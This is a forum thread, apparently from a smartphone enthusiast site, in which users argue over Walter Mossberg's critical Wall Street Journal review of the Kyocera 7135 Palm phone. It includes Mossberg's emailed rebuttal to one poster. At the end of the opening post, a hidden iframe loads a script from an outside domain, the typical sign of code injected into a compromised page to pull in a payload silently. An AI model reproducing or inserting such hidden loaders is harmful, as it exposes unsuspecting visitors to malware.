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  1. #1
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    Walter Mossberg's 7135 review on WSJ

    I found the sage Mr.Mossberg's very negative review of this device in Thursday's Wall Street Journal very disconcerting. One of the main reasons for my wanting to replace my reliable 6035 is its weight. Apparently the 7135 is nearly as "clumsy and awkward." Anyone agree who has it in their hands? As I've heard too often already, the 7135's short talk-time/battery-life is bemoaned. I've wished that Kyocera never incorporated the god-forsaken MP3 function into this device - to me funking to music from a phone is as worthless as snapping grainy photos or playing mini-video games from one. Am I the only one here who wants nothing but a top-notch phone + Palm-Os PDA, with none of the frivolous extras?

    Does anyone have a review of Samsung's SGH-I500 yet? Is it worth waiting on it versus the 7135? Alternatively, is it possible to upgrade the battery life on the 7135 by using third party hardware? Give me something positive please.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    Re: Walter Mossberg's 7135 review on WSJ

    I've not read his article (please post a link) but I for one find the 7135 the best PalmOS phone available. I'm not a newbie to the PalmOS nor the PalmOS-based smartphone world. I've used a VisorPrism with a VisorPhone for the past 1.5 years, daily. My wife owns a TREO 270 (I was never envious of it and preferred my VisorPrism+VisorPhone with expandability).

    On occassion, I use the 7135 for testing some wireless communication software I'm writing (controlling lights in my house is one such minute feature). Though I'm looking forward to the 802.11b+256MB SanDisk card

    I prefer the 7135 because of it's size, features, voice dialing (a Huge Plus for me), etc. I've only had it a little over a week but I haven't missed my VisorPrism at all. The 7135 is darn near perfect IMHO.

    The 7135 may not be for everyone, but I'm more than pleased with it. I'm sure you'll hear some similar statements from others on this site.

  3. #3
    Billy Bo Bob Brain BrerLapn's Avatar
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    1) I've said it before and I'll say it again: The WSJ is a POS. Based on their "new gadgets" article last week, I can safely say that I will *never* turn to the WSJ for any advice on tech issues. I will dig the Mossberg article you refer to out of the library Friday and see if it is any better than what I have heard. Based on what my co-workers (engineers mostly) have said about Mossberg in general, getting tech advice from him is like getting gourmet dining advice from a six-year-old who eats nothing but tater tots. But hey, if you find him useful more often than not then maybe he's speaking to you on this one, too. (Personally) I would find the feedback of the scores of users on this board (many of whom have had the 7135 for months and some of whom are even programmers of Palm OS apps) to be more useful than a columnist who may or may not have played with it for an hour or two.

    2) "Clumsy and awkward"-- I think a few people on this board have had analogous comments about one-handed dialing, but the other couple-hundred haven't had "clunkiness" issues. I find it easy to hold and solid, and I have average sized hands.

    3) Weight? 7135 is 6.6 ounces, 6035 is 7.35 ounces. Only 10%lighter, but still noticeable and I find the folding form factor makes it seem lighter.

    4) The mp3 doesn't affect battery life significantly. A number of people here have reported to that effect. Most have also been quite satisfied with sound quality. Using the stereo headbuds, I have found it a very handy addition for walks when I don't want to bother carrying my iPod around (i.e., walking to a club where I'll keep my phone handy but check my coat and thus extra pockets).

    5) non-frivolous--the SGH-I500 has just as many bells and whistles as the 7135, PLUS a camera, so it's probably not what you want either. (It's also a GSM phone, and was just announced, so I wouldn't expect it's release anytime soon). The SPH-i500 (CDMA) doesn't have any frills, but I don't know if I'd call it a "top-notch phone" based on my previous experience with Samsungs. This may be more of what you want if you're looking for barebones Palm-ness and smallness, but the battery is also smaller. Small battery plus faster processor probably won't give you better battery life.

    6) Battery life/talk-time--Definitely not as long as the 6035, but I think it compares pretty well to the other cellphones I've had. Without any talking, at my house on weekends, I can go a whole day with only 10-15% of battery life used (or less). I have had 1.5 hours of usage (not consecutively, but in chunks) over the course of a day and still had battery life left at the end of the day. I don't recall that I got much better than that with my old Timeport or Samsung.

    Anyway, my thoughts on the issues you expressed concern over. Good luck.
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  4. #4
    Billy Bo Bob Brain BrerLapn's Avatar
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    Re: Re: Walter Mossberg's 7135 review on WSJ

    Originally posted by jonecool
    I've not read his article (please post a link)
    I agree with the rest of your post. But (in my best Gilligan's Island Mr. Howell voice), The Wall Street Journal does not give it's content away- any of it- to the riff-raff. One must pay for the privilege of reading it on-line.
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  5. #5
    Registered User SteveNYC's Avatar
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    One must pay for the privilege of reading it on-line.
    Maybe not.

    Someone (vsajja) already posted a PDF file of the article here:

    http://www.smartphonesource.com/vbul...3156#post63156

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    Pete L, please stay away from the 7135. You are clearly not worthy of it if you would even think of asking such questions!

  7. #7
    Registered User Robert K.'s Avatar
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    Re: Walter Mossberg's 7135 review on WSJ

    Originally posted by Pete L
    I've wished that Kyocera never incorporated the god-forsaken MP3 function into this device

    Alternatively, is it possible to upgrade the battery life on the 7135 by using third party hardware? Give me something positive please.
    Just make believe that the MP3 player isn't there then. The expansion slot is an invaluable feature of the 7135. I'm glad they included the MP3 player for the rest of us.

    Battery life should be almost a non-issue unless you live in a cabin in the woods with no electricity and ride a bicycle to and from work. You can buy a car charger and an additional wall charger for around $25 total from danscellphones. And, if necessary, the battery is user replaceable.

    Was that positive enough for you? :p
    Please visit my picture site: Robert-O-Rama :)

  8. #8
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    I read the article online this morning and it left me scratching my head. What phone was he talking about? Either Mr. Mossberg has no sense of what is available on the market, or he is so far removed from actual life that he does not understand what people want from a phone.

    His complaints were:
    1. Big and bulky
    2. no keyboard: bad for email
    3. bad palm/phone integration (no touch screen on phone)
    4. Battery life
    5. his testing = bad connection to high speed network

    I have had this phone for 2 weeks and used it continuously. I had my 6035 for 3 years. I have had a star tac for years and years. This phone is a tremendous leap forward.

    1st: it is not big and bulky. It is an incredibly well designed piece of equipment. It is larger than your standard flip phone, but it is smaller and easier to carry around than any other palm device, and it's a phone to boot.

    2nd: no keyboard??!!: this is what people have been throwing in the face of palm devices for years. It has never deterred people from buying and enjoying them. If you want a laptop substitute, it is only a matter of time before a well designed folding keyboard hits the market for this phone, and these fold out keyboards are much easier to use than the tiny micro-board crammed into handheld computers. This is a ridiculous charge.

    3rd: Bad palm/phone integration? Who does it better? Who else does it at all? The bulk of the phone options are controlled under the palm system. What phone is easier to program?

    Battery life is an issue. It is not, in my experience, a fatal issue. Yes I liked the performance of my 6035 more in this respect, but the size and functionality of the 7135 is a reasonable trade off. The extra battery was not too much $ for the added assurance. At least you can swap the battery out of the 7135. How many handhelds give you that option?

    As far as the high speed network reliability, I would point out that this is really a brand new area. As more devices come out, the companies will make the networks more reliable. Just having cell coverage in most parts of the country is an amazing accomplishment. I live in the middle of nowhere, and I generally am in 1x coverage.

    I think that Mr. Mossberg's review of this phone is irresponsible journalism. He fails to mention that there is no other device on the market today to compare to this phone. All he has done was take the necessary compromises inherent in this combination device and claim them to be shortcomings.

    I guess if I hadn't owned the 6035, reading his review I would be convinced that I was stuck juggling my Palm IV and Star Tac, pockets bulging, struggling to keep both devices charged and ready for service, dragging along chargers for both devices (extra battery for the phone), plus my Star Tac manual so I could see what *## I needed to punch it to change some function or another. Yeah, those were the days.

  9. #9
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    Hey, it's a REVIEW. It's his opinion. We're all entitled. What I did find interesting was his description of the problems he had connecting to Express Network and what Kyocera and Verizon did about it. Each blamed the other, of course, but Mossberg notes that Verizon claims earlier phones had the problem and later phones do not. He also indicated he could not verify that claim before his deadline. I hope that in a future column he uses his considerable power in the tech industry to answer some of the questions that have swirled around the 7135 soap opera.

  10. #10
    Registered User Expidia's Avatar
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    I agree with everything ThomasKemp just said. I even emailed Waltwer Mossberg with my contrary opinions. I've owned PDA type devices since 1985 and I can't even guess how many cell phones . . . only have had the 7135 for three days and can assure anyone that of course there will be thinner next generation units to come, there ALWAYS will be. But the 7135 is the perfect marriage of the palm and the flip phone for today in my opinion. As to battery life . . . 160 standby is plenty as thats the more important one to me. Talk time of 3.5 hours I find plenty also at 210 min sure the 6035 was longer but I'll let YOU continue carry around that brick. Don't you just love the way it goes side ways whenever you put it in your pants pocket, cool look, Huh. (I only use 400 min a month) so I don't see myself talking 210 in one day often. I put it back in the cradle in my home or office and have the cig adapter in the car. The std battery is small and super thin, so pick up an extra if your a talker or a mall rat.
    The wall st journal article was written like this guy never actually had the phone in his hand.. Maybe Treo outfitted his whole family with phones. . . If I wanted to look like Captain Kirk I would have bought a treo last year and would not have waited a year for the 7135. Or I could have bought the other one that looks like a palm and you hold it up to your ear to make a phone call, that's another cool look that will attract the ladies around you real fast along with your pocket protector.
    I'm going to tie a rope onto my 6035 and use it for an anchor for my canoe. And to those of you that own the Treo . . . Beam me up Scotty!
    Palm III, V>6035>7135>6035>650>700p>755p (on Vzn), Palm's BT Treo Hdset,

  11. #11
    Billy Bo Bob Brain BrerLapn's Avatar
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    Having now read the review (Thanks, Steve, saved me a trip to the library), I remain unimpressed. His review isn't as bad as their article on new gadgets last week, but it didn't do much to raise the bar either. His gripes about the keyboard are generic to pretty much any PDA. I don't want a thumboard, never have, never will. I never really was interested in the Treo for the same reason, AND IT HAS NO GRAFFITI SPACE. He obviously has a great fondness for the Treo, but he failed to mention how the Treo compares to the 7135 when he restored all of his programs from the extension card using backupbuddyVFS or how the mp3's sound on the Treo, or how he was able to make a non-digital emergency phone call using Verizon's old analog towers when he got a flat on that mountain in West Virginia. Oh, that's right...

    Also, while he considers it annoying that the touchscreen is disabled in phone mode, and that the little nag screen pops up to tell you so when you touch it, consider this:

    1) How much fun it would be to have your ear constantly starting Palm apps while you're holding the phone up to your head to talk.

    2) How many people would return it if it didn't have the nag screen in phone mode because "I can't get it to bring up the apps while I'm in phone mode. I think it's broken because it doesn't do anything when I touch the phone screen."

    Personally, I'd rather not have my ear changing my address entries without my knowledge while I chat.

    As for bulk, even the 6035 was better than carrying a Palm and a phone around. I too, expidia, just *loved* that look when it would slide into it's side in my pocket.

    The price he quotes for the Treo is misleading, I think. Sprint is not selling the Treo for $149. I believe that if you buy it at that price from, say, Amazon, you will incur additional cancellation fees beyond those normally charged by Sprint should you decide not to go the full contract. But I could be wrong on that.
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  12. #12
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    Ya, its a review and his opinion but when you are giving advice to others, you need to at least appear to be somewhat neutral and look at the devices based on their merits alone. I agree that this column was irresponsible jornalism.

    He makes all these points in his column but yet states them in a way that obscures trhem.

    7135 pros he mentions:
    - removeable battery
    - longer battery life than Treo
    - SD slot
    - mp3 player
    - voice dial
    - voice memo
    - better screen

    7135 cons he mentions:
    - poor phone/Palm integration
    - thick
    - heavy
    - no keyboard

    He then goes on to proclaim the Treo 300 is the best device out there.

    Even though he mentions all the things I have listed above, he puts them in a context that either minimizes their real importance or turns it into a drawback.

    Ex1: SD slot
    "[ because there is not enough RAM in the phone to support all its features, Kyocera had to include a SD slot. The cards cost extra too.]" How about your Treo 300? Oh wait, that's right, not only does it lack all the multimedia features the 7135 has, it lacks a card slot as well. How about when you have to hard reset your Treo and are away from your computer? Guess who is and who is not SOL?

    Ex2: Unresponseive phone screen
    He criticizes the 7135 because its not as good of a "phone" as it claims to be yet when it behaves like a phone (do you know of a regular phone that has a touch screen?), he faults it.

    Ex3: battery life
    Even though he casually mentions the battery life is better than the Treos, he still criticizes it for not being longer than he feels it should be. He also mentions way at the beginning of the article that the 7135 has a removeable battery yet neglects to mention the Treo 300 does not have a removeable battery when he is criticizing the battery life. What are you gonna do Mossberg when your Treo 300 battery dies and you are away from your charger? 7135 owners will just pop in a new battery.

    Ex4: 7135's size
    He criticizes the 7135 for being thick yet neglects to mention the Treo 300 is wider than the 7135. Personally, I would rather have my phone be thicker than wider, fits in my hand better.

    Ex5: 7135's weight
    Yes, the 7135 is heavier than the Treo but that weight also contributres to the solid feel the 7135 has as opposed to the cheap plastic construction used on the Treo 300 (there's a reason why the Treo 300 is so light Mossberg, that lid isn't gonna last forever).

    Ex6: 7135's lack of a mini-keyboard
    Yes, the 7135 lacks a mini-keyboard but for the Treo 300, that is its sole method of data/text input (except obviously for Palm Desktop). He does not mention, however, the option of a Stowaway keyboard for the 7135. Wanna leave your laptop behind when you travel Mossberg? Hope you like pecking out responses to email on that mini-keyboard you love so much. 7135 owners will be able to respond to emails on a full-size, portable keyboard.

    Ex7: 7135's Price
    The Treo 300 has been out for a significantly longer time than the 7135, of course it is going to be less expensive (not to mention the fact that that it has less features than the 7135). Ever heard the saying Mossberg "you get what you pay for?"

  13. #13
    Registered User dwdod's Avatar
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    All the appropriate criticisms of the Mossburg article in the WSJ have already been stated. I want to add just one additional opinion.

    Smaller isn't always better folks. I've played with several VERY small cell phones and I just didn't care for the feel (or lack thereof). Personally, I find the saze, shape and overall form factor of the 7135 to be close to ideal. I wouldn't want them to make it any smaller. The screen size is the limiting factor.
    Dave

  14. #14
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    I took my complaints (see above) directly to Mr. Mossberg & he replied within 2 hours (Alright, I admit I am impressed that the man took the time to respond);;Here is his defense:

    Mr. Kemp,

    I certainly hope that in your law practice, you are more thorough and accurate than your were in this email. It's not that there's anything wrong with your disagreeing with me. You obviously like the Kyocera 7135 a lot better than I do, and that's fine. It's that you repeatedly misstate facts and display a complete ignorance of what I wrote. Did you even read it? And your charge that I was "irresponsible" is just plain...irresponsible. Do you even understand that I am a reviewer, an opinion columnist, not a reporter? I am paid to offer opinions.

    1. You state: "it is smaller and easier to carry around than any other palm device." That is flatly wrong. There are any number of smaller Palm devices. And the Treo 300, which is also a phone, and which I referred to repeatedly in my column, is significantly lighter and thinner, as I wrote. Did you skip over that part of the article? I spend many hours reviewing all sorts of Palm devices. I am very familiar with all of them. You, apparently, are not.

    2. You state: "Bad palm/phone integration? Who does it better? Who else does it at all?" Again, I provided the answer in the column: Handspring does it better, much better, in its Treo 300, which is also vastly cheaper than the Kyocera, at $149, after rebates. And there are a half-dozen other devices that integrate PDAs and phones.

    3. You state: "it is only a matter of time before a well designed folding keyboard hits the market for this phone, and these fold out keyboards are much easier to use than the tiny micro-board crammed into handheld computers. This is a ridiculous charge." Well, there is already a folding keyboard for the 7135, but nothing about it is easier to use than a built-in keyboard -- unless you consider it "easy" to have to carry a separate device, as large or larger than the Kyocera itself, unfold it, connect it, find a table or other surface, and then type. Roughly 500,000 people are using handheld wireless devices with built-in keyboards every day, including me, and they work quite well. In fact, the inventor of Grafitti, the Palm handwriting system Kyocera uses, has abandoned it in favor of a built-in keyboard.

    Mr. Kemp, unlike you, I actually test these products, and interview the companies that make them. Again, you may disagree with my conclusions, and that's fine. But, before you dispute my facts, do your homework.




    Walt Mossberg

    ======================
    Walter S. Mossberg
    Personal Technology Columnist
    The Wall Street Journal
    202-862-9287
    mossberg@wsj.com
    http://ptech.wsj.com

  15. #15
    Registered User dwdod's Avatar
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    whooooo...you made Mossy angry. Good for you!!!
    Dave

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    After reading Mr. Mossberg's not so informative article, I think there may be some key points he has missed:

    1) One of his points was talk time, however for anyone who has used the TREO AND a 7135 could tell you, the talk time is roughly the same (actually the 7135 is a bit better). Talk time from Kyocera's website states 3.5 hours, Handspring TREO 300 states 2.5 hours. That's an hour difference which he acknowledges. Although, he states that the difference is "not nearly good enough for a device that bills itself as primarily a phone". Ok, I guess the TREO isn't being billed as primarily a phone? Indeed it is, the voice capabilites of the "TREO Communicator" make it a phone and is billed as it's core feature.

    2) He failed to stress the importance that the Kyocera's battery is removable in his comparison of the TREO 300. Imagine how many TREO 300's will be thrown away after their internal battery dies and Handspring is long gone (Acquisition or otherwise). If you need more than 3.5 hours, bring a spare battery with you (which is actually very small). Something you can do with the 7135. My wife's TREO 270 is already showing signs that the battery is wearing down.

    3) He also glossed over the most important feature, the Voice dialing capabilities of the 7135. Imagine how many auto accidents will be avoided by former TREO 300 users (who tried to look up numbers using the keypad while driving) who simply speak into their headset and say "Home" and the phone begins to dial their home number rather than trying to find the correct keys on the small keypad. Did he even use this capability or know how to access it? Did I miss this in his review?

    4) His complaint of the 7135 lacking a keyboard is unjust. Many prefer graffiti over a keypad, but this is a matter of personal preference. I've used the TREO 270 with it's keypad and find it awkward. Anytime I want to go to the Palm launcher I have to hit two buttons to do it! Considering it's the most frequent series of buttons a user will use, it was pretty dumb to make it a 2-button sequence (IMHO). Then again, that's my personal bias after actually "Using" both.

    5) The first time he's travelling with his TREO 300 (away from his office) and suffers a hard-reset, he'll wish he had the Kyocera 7135 with an SD Backup. There is no restore solution for the TREO 300 once this happens you're essentially hosed until you get back to the office and HotSync.

    His list of flaws just seemed, well flawed. I could go on but I'll stop here.

  17. #17
    Registered User Robert K.'s Avatar
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    Originally posted by dwdod
    whooooo...you made Mossy angry. Good for you!!!
    lol
    Please visit my picture site: Robert-O-Rama :)

  18. #18
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    Originally posted by ogakor
    Hey, it's a REVIEW. It's his opinion. We're all entitled.

    I agree, but when your opinion is relied upon by millions: millions of corporate technology users and decision makers that have the power to make or break a new device, I think you are under an obligation to be careful. Despite his flaming response to me, I do not think he was very fair to the 7135.

    The 7135 is a serious piece of equipment. It is something I found solid enough (in both construction and operating system) to invest hours of my time in (setting up, configuring, and working it into by office systems). The money I put into the purchase of this phone is nothing compared to the value of my time that I would need to put into ANY handheld device that I rely on. So far, I deem the 7135 worthy of my investment. The Treo 300 is a toy by comparison.

    Just my OPINION.

  19. #19
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    Originally posted by thomaskemp
    ...Despite his flaming response to me, I do not think he was very fair to the 7135....
    Wow. Ol' Walt really ripped you a new one, didn't he? Gotta give him credit for answering, and extra credit for not just dishing out some corporate "thank you for writing" pablum.

    You did raise some good points, and I wholeheartedly agree with you that the 7135 is a worthwhile investment. Still, I think Mossberg's answer reveals room for honest disagreements. To the degree that the negatives in his review are instructive and may prod Kyocera, Verizon and whoever comes after them to build an even better product, I think we all benefit.

  20. #20
    Registered User TMWebSites's Avatar
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    Originally posted by ogakor
    ...To the degree that the negatives in his review are instructive and may prod Kyocera, Verizon and whoever comes after them to build an even better product, I think we all benefit.
    Hopefully this kind of press won't have the opposite effect and cause Kyocera to get out of the smartphone business and not design a successor to the 7135.

    My only Palm experience came from the 6035 and now my 7135. My main reason for not getting a Palm (or other such device) in the past was that I didn't want to carry around something bulky. If I don't carry it around, I wouldn't be getting the value out of it. The 6035 was the perfect solution for me. I could get one cheap, see if the Palm side suited my needs (got me hooked on it) and when the 7135 was ready, I was ready to pony up the bucks to get it.

    Everyone is welcome to their oppinion, I don't read the WSJ, but it seems this guy is biased towards the Treo. He pushes the fact that it's cheap, well so is a Hyundai, they're cheap for a reason, either their is less content going into them or they're not popular enough to get buyers on their own merit. I looked at a lot of palm/phones and everytime I picked one up, I couldn't imagine having to make a call with it, either because I had to hold the device up to my head or I had to always use a headset.

    For me, the 7135 is it! Hopefully, Kyocera and the other manufacturers will still support new quality devices like this and come out with even better ones.
    Taylor Made Web Sites and Domain Services
    Happy Kyocera 7135 User 2003-2008. Now Treo 800w.

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